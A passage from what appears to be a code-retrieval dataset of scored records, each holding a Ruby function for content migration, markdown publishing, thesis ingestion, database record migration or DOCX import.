link.attr(\"href\")\n begin\n @doc = Nokogiri::HTML(open(@doc_url))\n rescue => e\n puts \"Error: \" + e.inspect + \": \" + @doc_url\n # binding.pry\n return\n end\n\n title = extract_title\n introduction = extract_introduction\n body = extract_body\n related = extract_related_content\n\n new_filename = URI.parse(link.attr(\"href\")).path + \"index.html\"\n path = URI.parse(@dest_url).path + URI.parse(link.attr(\"href\")).path\n\n # publish_article(new_filename, title, introduction, related, body)\n # @vortex.proppatch(path, '<hidden xmlns=\"http://www.uio.no/navigation\">true</hidden>')\n # @vortex.proppatch(path, '<v:userTitle xmlns:v=\"vrtx\">' + title + '</v:userTitle>')\n # puts Paint[\"Published : \", :green, :bright] + new_filename\n # puts Paint[\"Proppatched : \", :green, :bright] + path\n\n # binding.pry\n### link.set_attribute(\"href\", \"..\" + URI.parse(@doc_url).path )\n end\n\n new_filename = \"/publications/index.html\"\n title = \"Publications\"\n introduction = nil\n related = nil\n\n body = doc.css(\".subContent > ul\").inner_html\n publish_article(new_filename, title, introduction, related, body)\n end", "title": "" }, { "docid": "316bd72f682d17c270c5dafb521e2df2", "score": "0.5302055", "text": "def publish_content(source_path, destination_path)\n\n image_filetypes = ['.jpg','.png','.gif','.svg']\n markdown_filetypes = ['.md','.markdown']\n\n if image_filetypes.include? File.extname(source_path)\n\n destination_path = File.join destination_path, File.dirname(source_path)\n FileUtils.cp source_path, destination_path\n\n elsif markdown_filetypes.include? File.extname(source_path)\n\n destination_path = File.join destination_path, File.dirname(source_path)\n\n markdown_filename = File.basename( source_path, File.extname(source_path) )\n markdown_file = ''\n\n File.open(source_path, 'r').each { |line| markdown_file << line }\n\n yaml_content = YAML.load( markdown_file.match(/\\A(---\\s*\\n.*?\\n?)^(---\\s*$\\n?)/m).to_s ) # RegEx by Derek Worthen (Middleman implementation)\n html_content = Nokogiri::HTML.parse( Kramdown::Document.new(markdown_file.lines.to_a[0..-1].join, :auto_id_prefix => \"toc-\", :coderay_css => :class, :coderay_line_numbers => nil, :coderay_wrap => nil).to_html )\n\n anchors = []\n\n html_content.css('h1, h2, h3, h4, h5, h6').each do |heading|\n next unless heading.attribute('id')\n anchors.push({ 'tag' => heading.name, 'text' => heading.text, 'anchor' => heading.attribute('id').value })\n end\n\n json_content = {\n :body => html_content.css('body').inner_html,\n :slug => markdown_filename,\n :anchors => anchors\n }\n\n json_content.merge( yaml_content ) if yaml_content\n\n File.open(destination_path + '/' + markdown_filename + '.html', 'w') do |file|\n file.write html_content.css('body').inner_html\n file.close\n end\n\n File.open(destination_path + '/' + markdown_filename + '.json', 'w') do |file|\n file.write Hash[json_content.to_a.reverse].to_json\n file.close\n end\n\n end\nend", "title": "" }, { "docid": "0097601a007cea0826b32ce3ef4938c9", "score": "0.5297614", "text": "def import_many files\n # set @name\n import_single \"supportconfig\", \"supportconfig.txt\"\n # check for already imported files\n content = Content::Content.new self, @handle\n already = content._read :content, self.name\n id = nil\n if already\n id = already[\"_id\"]\n already = already[\"_source\"][\"files\"]\n else\n already = []\n end\n files.each do |entry|\n if already.include? entry\n puts \"Have #{entry} already, skipping\"\n next\n end\n next unless entry =~ /^(.*)\\.txt$/\n puts \"*** #{entry} <#{@handle.inspect}>\"\n if $1 == \"supportconfig\"\n raise \"'supportconfig.txt' is implicit\"\n end\n import_single $1, entry\n end\n unless @name\n raise \"Couldn't determine name !\"\n end\n if id\n content._update :content, id, { doc: { files: (files + already).uniq } }\n else\n content._write :content, files: files\n end\n end", "title": "" }, { "docid": "1e025efae5f393a31ed36ac32b58bccc", "score": "0.52909064", "text": "def create_migration_file; end", "title": "" }, { "docid": "b6cd2114bdd4dc334c07421027072aab", "score": "0.5248189", "text": "def migrate_lots_of_theses_with_content_url(path_to_fox, path_to_foxdone, content_server_url, collection_mapping_doc_path, user)\r\nputs \"doing a bulk migration\"\r\nfname = \"tally.txt\"\r\ntallyfile = File.open(fname, \"a\")\r\nDir.foreach(path_to_fox)do |item|\t\r\n\t# we dont want to try and act on the current and parent directories\r\n\tnext if item == '.' or item == '..'\r\n\t# trackingfile.puts(\"now working on \" + item)\r\n\titempath = path_to_fox + \"/\" + item\r\n\tresult = 9 # so this wont do the actions required if it isnt reset\r\n\tbegin\r\n\t\tresult = migrate_thesis_with_content_url(itempath,content_server_url,collection_mapping_doc_path,user)\r\n\trescue\r\n\t\tresult = 1\t\r\n\t\ttallyfile.puts(\"rescue says FAILED TO INGEST \"+ itempath) \r\n\tend\r\n\tif result == 0\r\n\t\ttallyfile.puts(\"ingested \" + itempath)\r\n\t\t#sleep 10 # wait 10 seconds to try to resolve 'exception rentered (fatal)' (possible threading?) problems\r\n\t\tFileUtils.mv(itempath, path_to_foxdone + \"/\" + item) # move files once migrated\r\n\telsif result == 1 # this may well not work, as it may stop part way through before it ever gets here. rescue block might help?\r\n\t\ttallyfile.puts(\"FAILED TO INGEST \"+ itempath)\r\n\t\tsleep 10 # wait 10 seconds to try to resolve 'exception rentered (fatal)' (possible threading?) problems\r\n\telsif result == 2 # apparently some records may not have an actual resource paper of any id!\r\n\t\ttallyfile.puts(\"ingested metadata but NO EXAM_PAPER IN \"+ itempath)\r\n\t\tsleep 10 # wait 10 seconds to try to resolve 'exception rentered (fatal)' (possible threading?) problems\r\n\t\tFileUtils.mv(itempath, path_to_foxdone + \"/\" + item) # move files once migrated\r\n\telsif result == 3 # couldnt identify parent collection in mappings\r\n\t\ttallyfile.puts(\"FAILED TO INGEST \" + itempath + \" because couldnt identiy parent collection mapping\")\r\n\t\tsleep 10 # wait 10 seconds to try to resolve 'exception rentered (fatal)' (possible threading?) problems\r\n\telsif result == 4 # this may well not work, as it may stop part way through before it ever gets here. \r\n\t\ttallyfile.puts(\"FAILED TO INGEST RESOURCE DOCUMENT IN\"+ itempath)\r\n\t\tsleep 10 # wait 10 seconds to try to resolve 'exception rentered (fatal)' (possible threading?) problems\r\n\telse\r\n tallyfile.puts(\" didnt return expected value of 0 or 1 \")\t\r\n\tend\r\nend\r\ntallyfile.close\r\nputs \"all done\"\r\nend", "title": "" }, { "docid": "dcd53ea160be373009b9cb9656d52a1c", "score": "0.5185075", "text": "def dss_friendly_thesis(thesis)\n file = Rails.root.join('test', 'fixtures', 'files', 'a_pdf.pdf')\n thesis.files.attach(io: File.open(file), filename: 'a_pdf.pdf')\n thesis.files.first.description = 'My thesis'\n thesis.files.first.purpose = 'thesis_pdf'\n metadata_json = DspaceMetadata.new(thesis).serialize_dss_metadata\n thesis.dspace_metadata.attach(io: StringIO.new(metadata_json),\n filename: 'some_file.json')\n thesis.save\n end", "title": "" }, { "docid": "1350df962a3dae5b43513faa3a5221b1", "score": "0.5168726", "text": "def schema_migration; end", "title": "" }, { "docid": "bb944f8f0f8081d50d2a8c21f7889fc3", "score": "0.51647466", "text": "def copy_files\n migration_template \"create_slugs.erb.rb\", \"db/migrate/create_slugs.rb\"\n end", "title": "" }, { "docid": "681b06d6032e739f6b92aed5a7817b09", "score": "0.51612455", "text": "def copy_files(*args)\n migration_template 'migration.rb', 'db/migrate/create_friendly_id_slugs.rb'\n end", "title": "" }, { "docid": "681b06d6032e739f6b92aed5a7817b09", "score": "0.51612455", "text": "def copy_files(*args)\n migration_template 'migration.rb', 'db/migrate/create_friendly_id_slugs.rb'\n end", "title": "" }, { "docid": "4853d7c5f5d4f8ccd71178af47db6e83", "score": "0.5159421", "text": "def run_migration; end", "title": "" }, { "docid": "c4bf4ae78fd910b2b92a84a832d7178a", "score": "0.5146999", "text": "def ensure_migrated\n return if blob\n\n content_upload(fetcher.html_file)\n end", "title": "" }, { "docid": "add95aee74c682e4c2d6b4a10ace91d2", "score": "0.51424164", "text": "def migrate_files(body, destination_path, html_filename)\n if(@encoding)\n doc = Nokogiri::HTML(body,nil, @encoding)\n else\n doc = Nokogiri::HTML(body)\n end\n\n # Upload images to vortex server:\n doc.css(\"img\").each do |image|\n file_uri = image.attr(\"src\")\n\n # binding.pry\n\n # Handle relative url's like '../../images/headinglogo.gif':\n if(file_uri[/^\\//])\n file_uri = @html_dir + file_uri\n elsif(not(file_uri[/^\\//]) and not(file_uri[/^http/]))then\n file_uri = Pathname.new(html_filename).parent + file_uri\n end\n\n uri = nil\n begin\n uri = URI.parse(file_uri.to_s)\n rescue\n puts \"Logging error: Unparseable link : \" + file_uri\n log_error('unparseable-link-in-file',file_uri)\n end\n\n if(uri and migrate_linked_file?(uri))\n if(File.exists?(uri.to_s))\n upload_file(uri.to_s, html_filename, destination_path)\n else\n puts \"Logging error: File not found : \" + file_uri if(@debug)\n log_error('file-not-found',file_uri)\n end\n end\n\n basename = Pathname.new(file_uri).basename.to_s\n image.set_attribute(\"src\",basename)\n end\n\n # Upload files, everything that's not a document, to vortex server:\n doc.css(\"a\").each do |link|\n href = link.attr(\"href\")\n if(href and not(href[/^\\#/]))\n file_uri = href.to_s.sub(/(#|\\?).*/,'')\n\n uri = nil\n begin\n uri = URI.parse(href)\n rescue\n puts \"Logging error: Unparseable link : \" + href\n log_error('unparseable-link-in-file',file_uri)\n end\n\n if(uri and migrate_linked_file?(uri))\n upload_file(file_uri, html_filename, destination_path)\n basename = Pathname.new(file_uri).basename.to_s\n link.set_attribute(\"href\",basename)\n end\n\n end\n end\n\n if(doc.css(\"html\"))\n return doc.css(\"body\").inner_html.to_s\n else\n return doc.to_s\n end\n\n end", "title": "" }, { "docid": "a84dda57fa80aeb94a8f67f4fd1b0538", "score": "0.5141374", "text": "def annotate_one_file(file_name, info_block, position, options={})\n if File.exist?(file_name)\n old_content = File.read(file_name)\n return false if(old_content =~ /# -\\*- SkipSchemaAnnotations.*\\n/)\n\n # Ignore the Schema version line because it changes with each migration\n header_pattern = /(^# Table name:.*?\\n(#.*[\\r]?\\n)*[\\r]?\\n)/\n old_header = old_content.match(header_pattern).to_s\n new_header = info_block.match(header_pattern).to_s\n\n column_pattern = /^#[\\t ]+\\w+[\\t ]+.+$/\n old_columns = old_header && old_header.scan(column_pattern).sort\n new_columns = new_header && new_header.scan(column_pattern).sort\n\n encoding = Regexp.new(/(^#\\s*encoding:.*\\n)|(^# coding:.*\\n)|(^# -\\*- coding:.*\\n)/)\n encoding_header = old_content.match(encoding).to_s\n\n if old_columns == new_columns && !options[:force]\n return false\n else\n\n# todo: figure out if we need to extract any logic from this merge chunk\n# <<<<<<< HEAD\n# # Replace the old schema info with the new schema info\n# new_content = old_content.sub(/^# #{COMPAT_PREFIX}.*?\\n(#.*\\n)*\\n*/, info_block)\n# # But, if there *was* no old schema info, we simply need to insert it\n# if new_content == old_content\n# old_content.sub!(encoding, '')\n# new_content = options[:position] == 'after' ?\n# (encoding_header + (old_content =~ /\\n$/ ? old_content : old_content + \"\\n\") + info_block) :\n# (encoding_header + info_block + old_content)\n# end\n# =======\n\n # Strip the old schema info, and insert new schema info.\n old_content.sub!(encoding, '')\n old_content.sub!(PATTERN, '')\n\n new_content = options[position].to_s == 'after' ?\n (encoding_header + (old_content.rstrip + \"\\n\\n\" + info_block)) :\n (encoding_header + info_block + old_content)\n\n File.open(file_name, \"wb\") { |f| f.puts new_content }\n return true\n end\n else\n return false\n end\n end", "title": "" }, { "docid": "8b1b4205b2fd1c34c0fd068ace0473f2", "score": "0.5106508", "text": "def copy_migrations\n migration_template 'create_readit_announcements.rb', 'db/migrate/create_readit_announcements.rb'\n end", "title": "" }, { "docid": "14ed0a6a46f94cf0864dd83bed6d554e", "score": "0.5104313", "text": "def write_yaml_file_to_db #overwrite \n if duplicates_behavior == \"overwrite\"\n duplicates_behavior2 = Translation.Overwrite[:all]\n elsif duplicates_behavior == \"skip\" \n duplicates_behavior2 = Translation.Overwrite[:continue_unless_blank]\n elsif duplicates_behavior == \"cancel\"\n duplicates_behavior2 = Translation.Overwrite[:cancel]\n else\n duplicates_behavior2 = Translation.Overwrite[:continue_unless_blank]\n end \n begin\n path = File.join(Rails.root.to_path, TranslationsUpload.uploaded_to_folder, yaml_upload.url)\n Rails.logger.info path\n Rails.logger.info(\"Trying to open: \" + File.exist?(path).to_s )\n data = YAML.load_file(File.join(Rails.root.to_path, TranslationsUpload.uploaded_to_folder, yaml_upload.url))\n plurals= Hash.new\n key_value_pairs = TranslationsUpload.traverse_ruby(data, plurals, calmapp_versions_translation_language.calmapp_version_tl.id )\n rescue Psych::SyntaxError => pse\n error = PsychSyntaxErrorWrapper.new(pse, yaml_upload_identifier)\n puts error\n logger.error(error)\n \n raise error\n end \n \n ret_val= 'ok' \n begin\n Translation.transaction do\n puts yaml_upload.url\n t = BulkTranslations2.translations_to_db_from_file(key_value_pairs, id, calmapp_versions_translation_language, duplicates_behavior2)#, plurals)\n if t.errors.count > 0 then\n ret_val = t\n messages = \"\" \n t.errors.full_messages.each { |msg| messages = messages + msg + \" \" }\n logger.error(messages)\n if not messages.include? \"Dot key Code does not exist\"\n raise UploadTranslationError.new(messages, yaml_upload_identifier)\n end \n end #errors.count\n end #trans \n rescue UploadTranslationError => error\n msg = \"Error while writing \" + error.file_name + \" message: \" + error.message + \" No translations written to database\"\n puts msg\n Rails.logger.error(msg)\n raise\n \n rescue StandardError => error\n msg = \"Error while writing \" + yaml_upload_identifier + \" message: \" + error.message + \" No translations written to database\"\n puts msg\n \n Rails.logger.error(msg)\n \n raise \n end# outside block rescues\n \n # end #begin before trans\n \n return ret_val\n end", "title": "" }, { "docid": "9b37c1e07d106db189ef04d0ec96b1d2", "score": "0.5080894", "text": "def fixLinks(text, file_name)\n \n # resolves links in files ending in index.*\n if isIndexFile(file_name)\n\n # inline lines w/ format\n text = text.gsub(@inline_link) {|s| if containsStandingURL(s)\n s # do nothing if it is free standing url link (includes http(s):// or www.)\n else \n s.gsub(@invalid_ending, \"\")\n end}\n\n # reference lines w/ format\n text = text.gsub(@reference_link) {|s| if containsStandingURL(s)\n s # do nothing if it is free standing url link (includes http(s):// or www.)\n else \n s.gsub(@invalid_ending, \"\")\n end}\n\n # resolves links in files NOT ending in index.*\n else\n\n # inline lines w/ format\n text = text.gsub(@inline_link) {|s| if containsStandingURL(s)\n s # do nothing if it is free standing url link (includes http(s):// or www.)\n else \n s.gsub(@invalid_ending, \"\").gsub(/\\](\\s|)\\(\\s*/, \"\\]\\(\\.\\.\\/\")\n end}\n # reference lines w/ format\n text = text.gsub(@reference_link) {|s| if containsStandingURL(s)\n s # do nothing if it is free standing url link (includes http(s):// or www.)\n else \n temp = s.gsub(@invalid_ending, \"\").gsub(/\\]\\:\\s*(<|)/, \"\\]\\:\\s\\.\\.\\/\")\n temp.gsub(/>/, \"\")\n end}\n end\n return text\nend", "title": "" }, { "docid": "8fea96096a92068f4b77170fa65583b2", "score": "0.5076539", "text": "def mv(files)\n begin\n p file1_path = File.join(@l_dir,'text',files[0])\n p file2_path = File.join(@l_dir,'text',files[1])\n rescue => evar\n puts evar.to_s\n puts \"error on move_files, check the input format, especially comma separation.\"\n exit\n end\n return if file1_path==file2_path\n if File.exist?(file2_path) then\n print (\"moving target #{files[1]} exists.\\n\")\n print (\"first remove#{files[1]}.\\n\")\n return\n else\n File.rename(file1_path,file2_path)\n end\n\n info=InfoDB.new(@l_dir)\n\n db = info.db\n\n pp file0=db[files[0]]\n db.delete(files[0])\n db[files[1]]=file0\n db[files[1]][:title]=files[1] if db[files[1]][:title]==files[0]\n pp db[files[1]]\n\n db.each{|ele|\n ref = ele[1][:references]\n if ref.include?(files[0]) then\n p link_file=ele[0]\n link_path = File.join(@l_dir,'text',link_file)\n\n cont = File.read(link_path)\n if Kconv.iseuc(cont) then\n print \"euc\\n\"\n utf8_cont=cont.toutf8\n utf8_cont.gsub!(/#{files[0]}/,\"#{files[1]}\")\n cont = utf8_cont.toeuc\n else\n cont.gsub!(/#{files[0]}/,\"#{files[1]}\")\n end\n\n File.write(link_path,cont)\n\n ref.delete(files[0])\n ref << files[1]\n\n p cache_path = File.join(@l_dir,'cache/parser',link_file)\n begin\n File.delete(cache_path)\n rescue => evar\n puts evar.to_s\n end\n end\n }\n\n info.dump\n end", "title": "" }, { "docid": "be253a95177660dbf9439ff6db13265c", "score": "0.5064896", "text": "def markdown_files; end", "title": "" }, { "docid": "bfb07a17a5ca5a715407eae2561ed75b", "score": "0.5055406", "text": "def dss_friendly_thesis(thesis)\n file = Rails.root.join('test', 'fixtures', 'files', 'a_pdf.pdf')\n thesis.files.attach(io: File.open(file), filename: 'a_pdf.pdf')\n thesis.files.first.description = 'My thesis'\n thesis.files.first.purpose = 'thesis_pdf'\n thesis.save\n end", "title": "" }, { "docid": "061557410447ffacdfea31674ab566d2", "score": "0.50549114", "text": "def migrate_comments_and_user_comment_interactions(source_db_tenant, destination_db_tenant, source_db_connection, destination_db_connection, call_to_actions_id_map, users_id_map, limit)\n source_comments_and_user_comment_interactions = source_db_connection.exec(\"SELECT * FROM comments ORDER BY content_id#{limit ? \" limit 20000\" : \"\"}\") # limit for testing\n source_comments_and_user_comment_interactions_count = source_comments_and_user_comment_interactions.count\n\n puts \"comments & user_comment_interactions: #{source_comments_and_user_comment_interactions_count} lines to migrate \\nRunning migration...\"\n STDOUT.flush\n lines_step, next_step = init_progress(source_comments_and_user_comment_interactions_count)\n count_for_user_comment_interactions = 0\n count_for_comments = 0\n rows_with_user_missing = 0\n user_comment_interactions_id_map = Hash.new\n\n last_content_id = 0\n last_comment_id = 0\n\n source_comments_and_user_comment_interactions.each do |line|\n \n if line[\"content_id\"] != last_content_id # create new comment and interaction entries\n\n last_content_id = line[\"content_id\"]\n \n res = source_db_connection.exec(\"SELECT created_at FROM contents WHERE id = #{line[\"content_id\"]}\").values.first\n\n fields_for_comments = {\n #\"id\" => count_for_comments + 1,\n \"must_be_approved\" => \"t\",\n \"title\" => \"#COMMENT#{res.nil? ? \"\" : res.first}\",\n \"created_at\" => res.nil? ? \"NULL\" : res.first,\n \"updated_at\" => res.nil? ? \"NULL\" : res.first\n }\n\n query_for_comments = build_query_string(destination_db_tenant, \"comments\", fields_for_comments)\n destination_db_connection.exec(query_for_comments)\n last_comment_id = destination_db_connection.exec(\"SELECT currval('#{destination_db_tenant.nil? ? \"\" : destination_db_tenant + \".\"}comments_id_seq')\").values[0][0].to_i\n\n ### COMMENTS REFERENCE CTA CREATING A NEW INTERACTION ###\n\n new_call_to_action_id = call_to_actions_id_map[source_db_connection.exec(\"SELECT call_to_action_id FROM cta_content_interactions WHERE content_id = #{line[\"content_id\"]}\").values[0][0].to_i]\n\n fields_for_interactions = {\n #\"id\" => last_interaction_id + 1,\n \"name\" => \"NULL\", # always NULL for comments\n \"seconds\" => 0,\n \"when_show_interaction\" => \"SEMPRE_VISIBILE\",\n \"required_to_complete\" => \"f\",\n \"resource_id\" => last_comment_id,\n \"resource_type\" => \"Comment\",\n \"call_to_action_id\" => new_call_to_action_id # Disney -> reference to content, Fandom -> reference to cta\n }\n\n query_for_interactions = build_query_string(destination_db_tenant, \"interactions\", fields_for_interactions)\n\n destination_db_connection.exec(query_for_interactions)\n count_for_comments += 1\n #last_interaction_id += 1\n\n end\n\n new_user_id = users_id_map[line[\"user_id\"].to_i]\n\n if new_user_id.nil?\n rows_with_user_missing += 1\n else\n fields_for_user_comment_interactions = {\n #\"id\" => line[\"id\"].to_i,\n \"user_id\" => new_user_id, # users may be missing\n \"comment_id\" => last_comment_id, # assign according to content_id\n \"text\" => nullify_or_escape_string(source_db_connection, line[\"body\"]),\n \"created_at\" => nullify_or_escape_string(source_db_connection, line[\"created_at\"]),\n \"updated_at\" => nullify_or_escape_string(source_db_connection, line[\"updated_at\"]),\n \"approved\" => line[\"published_at\"].nil? ? \"f\" : \"t\"\n }\n\n query_for_user_comment_interactions = build_query_string(destination_db_tenant, \"user_comment_interactions\", fields_for_user_comment_interactions)\n \n destination_db_connection.exec(query_for_user_comment_interactions)\n user_comment_interactions_id_map.store(line[\"id\"].to_i, destination_db_connection.exec(\"SELECT currval('#{destination_db_tenant.nil? ? \"\" : destination_db_tenant + \".\"}user_comment_interactions_id_seq')\").values[0][0].to_i)\n \n count_for_user_comment_interactions += 1\n end\n next_step = print_progress(count_for_user_comment_interactions + rows_with_user_missing, lines_step, next_step, source_comments_and_user_comment_interactions_count)\n\n end\n puts \"#{count_for_comments} lines successfully generated for comments and interactions\\n\"\n puts \"#{count_for_user_comment_interactions} lines successfully migrated for user_comment_interactions \\n#{rows_with_user_missing} rows had dangling reference to user\"\n write_table_id_mapping_to_file(source_db_tenant, \"user_comment_interactions\", user_comment_interactions_id_map)\n return user_comment_interactions_id_map\nend", "title": "" }, { "docid": "5d4c9d72ba12bfdca80eced290e952e9", "score": "0.50509846", "text": "def migrate_asana_task asana_task, parent_phid, parent_url, all_users\n return if asana_task[\"completed\"]\n\n name = asana_task[\"name\"]\n url = parent_url || get_asana_url(asana_task)\n\n description = \"#{asana_task[\"notes\"]}\\n\\nImported from Asana: #{url}\"\n\n\n assignee = if asana_task[\"assignee\"]\n match_user asana_task[\"assignee\"][\"id\"], asana_task[\"assignee\"][\"name\"], all_users\n else\n nil\n end\n\n due_date = if asana_task[\"due_on\"]\n DateTime.parse asana_task[\"due_on\"]\n else\n nil\n end\n\n if parent_phid\n new_phid = create_subtask parent_phid, name, assignee, description, due_date\n else\n new_phid = create_task name, assignee, description, due_date\n end\n\n if asana_task[\"subtasks\"]\n asana_task[\"subtasks\"].each do |subtask|\n migrate_asana_task subtask, new_phid, url, all_users\n end\n end\n\n if asana_task[\"stories\"]\n asana_task[\"stories\"].select do |story|\n story[\"type\"] == \"comment\"\n end.each do |comment|\n create_comment new_phid, comment[\"created_by\"][\"name\"], comment[\"text\"]\n end\n end\nend", "title": "" }, { "docid": "2f6fc9e62beaf78777706ece0fb0ad29", "score": "0.5036263", "text": "def prepare_file file\n\treturn \"\" if file == \"topics.yml\"\n\tfile_lines = File.readlines(DOC_DIR + \"/\" + file)\n\tnew_file_name = \"\"\n\tresulting_file_name = \"\"\n\tnew_file_content = \"\"\n\treturn if file_lines.empty? || !file_lines[0].start_with?(\"#\")\n\ttitle = file_lines[0].chomp.slice(1..-1)\n\tfile_content = file_lines.join\n\tif file == \"index.md\"\n\t\tresulting_file_name = \"index.html\"\n\t\tnew_file_name = BASE_DIR + \"/index.md\"\n\t\tnew_file_content = \"---\nlayout: page \ntitle: #{title}\n---\n\n#{file_content}\"\n\telsif file.include? \"-\"\n\t\tcategory = file.split(\"-\")[-1].split(\".\")[0]\n\t\torder = 0\n\t\tif category.include? \":\"\n\t\t\tarr = category.split \":\"\n\t\t\tcategory = arr[0]\n\t\t\torder = arr[1].to_i\n\t\tend\n\t\tresulting_file_name = \"#{category}/#{file.sub(/[^.]+\\z/, \"html\")}\"\n\t\tnew_file_name = \"#{POSTS_DIR}/#{DATE_STR}-#{file}\"\n\t\tnew_file_content = \"---\nlayout: default\ntitle: #{title}\ndate: #{DATE_STR_W_TIME}\ncategory: #{category}\norder: #{order}\n---\n\n#{file_content}\"\n\tend\n\tif !new_file_content.empty? && !new_file_name.empty?\n\t\tputs \"Create file '#{File.basename(new_file_name)}...'\"\n\t\tFile.open(new_file_name, \"w\") do |f|\n\t\t\tf.write new_file_content\n\t\tend\n\t\treturn resulting_file_name\n\tend\n\treturn \"\"\nend", "title": "" }, { "docid": "9ac2111165033de944296e171240e62d", "score": "0.50334984", "text": "def report_content_sources(options)\n content_base_dir = config.base_dir(:content_dir)\n docx_import_base_dir = config.base_dir(:docx_import_dir)\n folio_import_base_dir = config.base_dir(:folio_import_dir)\n idml_import_base_dir = config.base_dir(:idml_import_dir)\n total_count = 0\n docx_sourced = []\n folio_sourced = []\n idml_sourced = []\n other_sourced = []\n\n Repositext::Cli::Utils.read_files(\n config.compute_glob_pattern(\n options['base-dir'] || :content_dir,\n options['file-selector'] || :all_files,\n options['file-extension'] || :at_extension\n ),\n options['file_filter'],\n nil,\n \"Reading AT files\",\n options\n ) do |content_at_file|\n total_count += 1\n filename = content_at_file.filename\n docx_input_filename = filename.gsub(content_base_dir, docx_import_base_dir)\n .gsub(/\\.at/, '.docx.at')\n folio_input_filename = filename.gsub(content_base_dir, folio_import_base_dir)\n .gsub(/\\.at/, '.folio.at')\n idml_input_filename = filename.gsub(content_base_dir, idml_import_base_dir)\n .gsub(/\\.at/, '.idml.at')\n if File.exist?(idml_input_filename)\n idml_sourced << filename\n elsif File.exist?(folio_input_filename)\n folio_sourced << filename\n elsif File.exist?(docx_input_filename)\n docx_sourced << filename\n else\n other_sourced << filename\n end\n end\n\n lines = [\n \"List sources of content_at files\",\n '-' * 40,\n ]\n if idml_sourced.any?\n lines << \" - The following #{ idml_sourced.length } content AT files are sourced from Idml:\"\n idml_sourced.each do |f|\n lines << \" - #{ f }\"\n end\n else\n lines << \" - There are no content AT files sourced from Idml.\"\n end\n if folio_sourced.any?\n lines << \" - The following #{ folio_sourced.length } content AT files are sourced from Folio:\"\n folio_sourced.each do |f|\n lines << \" - #{ f }\"\n end\n else\n lines << \" - There are no content AT files sourced from Folio.\"\n end\n if docx_sourced.any?\n lines << \" - The following #{ docx_sourced.length } content AT files are sourced from DOCX:\"\n docx_sourced.each do |f|\n lines << \" - #{ f }\"\n end\n else\n lines << \" - There are no content AT files sourced from DOCX.\"\n end\n if other_sourced.any?\n lines << \" - The following #{ folio_sourced.length } content AT files are from other sources:\"\n other_sourced.each do |f|\n lines << \" - #{ f }\"\n end\n else\n lines << \" - There are no content AT files from other sources.\"\n end\n lines << '-' * 40\n lines << \"Sources summary:\"\n lines << \" - DOCX: #{ docx_sourced.length }\"\n lines << \" - Folio: #{ folio_sourced.length }\"\n lines << \" - Idml: #{ idml_sourced.length }\"\n lines << \" - Other: #{ other_sourced.length }\"\n total_sourced = docx_sourced.length + folio_sourced.length + idml_sourced.length + other_sourced.length\n lines << \"Determined sources for #{ total_sourced } of #{ total_count } files at #{ Time.now.to_s }.\"\n $stderr.puts\n lines.each { |l| $stderr.puts l }\n report_file_path = File.join(config.base_dir(:reports_dir), 'content_sources.txt')\n File.open(report_file_path, 'w') { |f|\n f.write lines.join(\"\\n\")\n f.write \"\\n\\n\"\n f.write \"Command to generate this file: `repositext report content_sources`\\n\"\n }\n end", "title": "" }, { "docid": "561012fc953d41dfcf3a33c807d2c21d", "score": "0.50321186", "text": "def migrations_paths; end", "title": "" }, { "docid": "561012fc953d41dfcf3a33c807d2c21d", "score": "0.50321186", "text": "def migrations_paths; end", "title": "" }, { "docid": "561012fc953d41dfcf3a33c807d2c21d", "score": "0.50321186", "text": "def migrations_paths; end", "title": "" }, { "docid": "11be16eb6f0ac8668431c6ff49c20ef0", "score": "0.50258523", "text": "def process_markdown\n attachments.each do |att|\n # ---------------------------------------------------------------\n # Change the local blob url for the permanent one\n #\n # 1. Look for the file url:\n #\n # ex: [file.csv](whatever)\n #\n # 2. Swap the local blob url with the permanent url\n # ---------------------------------------------------------------\n self.markdown = self.markdown.sub(/\\[#{att.file_file_name}\\]\\(.+?\\)/) do |md_str|\n att.save!\n if att.is_csv?\n \"[#{att.file_file_name}](#{att.permanent_url})\"\n else\n \"[#{att.file_file_name}](#{att.file.url(:max)})\"\n end\n end\n end\n self.html = Kramdown::Document.new(self.markdown || '').to_html.gsub(/[\\r\\n]+/, '')\n end", "title": "" }, { "docid": "e3220eea4baf61c44c2087a80abaa139", "score": "0.49906665", "text": "def import_docx_specific_steps(options)\n # convert_docx_to_???(options)\n # validate_utf8_encoding(options.merge(input: 'import_docx_dir/repositext_files'))\n end", "title": "" }, { "docid": "1f3dfe2cb160edc5e9003016181b8c4d", "score": "0.49873134", "text": "def rewrite_content_urls!(filename, content)\n content.gsub!(URL_TAG_PATTERN) { \"url('#{rewrite_relative_path(filename, $1)}')\" }\n content\n end", "title": "" }, { "docid": "26e06a2ff6c24d84bbb56cdbf10a76f1", "score": "0.49841443", "text": "def sync_foreign_file(f_content_at_file)\n print \" - #{ f_content_at_file.repo_relative_path }: \".ljust(50)\n\n # Find from_git_commit\n fgc_o = Process::Compute::StSyncFromGitCommitForForeignFile.new(\n f_content_at_file,\n @earliest_from_git_commit,\n @config\n ).compute\n\n if fgc_o.success?\n # We found a from_git_commit, either from file data, or from\n # subitle_export's commit date.\n process_with_from_git_commit(\n f_content_at_file,\n fgc_o.result[:from_git_commit],\n fgc_o.result[:source]\n )\n elsif :autosplit == fgc_o.result[:source]\n # This file requires autosplit. After autosplit, file will be\n # synced to primary repo's current @to_git_commit.\n @auto_split_files_collector[f_content_at_file.language_code_3_chars] << f_content_at_file.extract_date_code\n process_autosplit(f_content_at_file, @to_git_commit)\n else\n # This file can't be processed\n process_unprocessable(f_content_at_file, fgc_o.messages.join(' '))\n end\n end", "title": "" }, { "docid": "c04060df690a58ff72d08d0de260b9aa", "score": "0.49833256", "text": "def setup_action_text\n # If javascript is being skipped, you'll only want to generate the migrations.\n # => But if you're skipping javascript, you'll need to add actiontext javascript components yourself\n if options[:skip_javascript]\n rake 'action_text:copy_migrations'\n else\n rake 'action_text:install'\n end\n end", "title": "" }, { "docid": "26a3efbe74dd59deedb7dbd79c4c6e5c", "score": "0.49791744", "text": "def import_docx(options)\n options['report_file'] ||= config.compute_glob_pattern(\n :docx_import_dir, :validation_report_file, ''\n )\n options['append_to_validation_report'] = false\n reset_validation_report(options, 'import_docx')\n validate_docx_pre_import(options)\n convert_docx_to_at(options)\n fix_normalize_trailing_newlines(options)\n fix_adjust_gap_mark_positions(options)\n # fix_normalize_editors_notes(\n # options.merge({ 'base-dir' => :idml_import_dir, 'file-extension' => :at_extension })\n # )\n options['append_to_validation_report'] = true\n # fix_convert_abbreviations_to_lower_case(options) # run after merge_record_marks...\n # fix_normalize_subtitle_mark_before_gap_mark_positions(\n # options.merge({ 'base-dir' => :staging_dir, 'file-extension' => :at_extension })\n # )\n fix_normalize_trailing_newlines(options)\n copy_docx_import_to_content(options)\n # 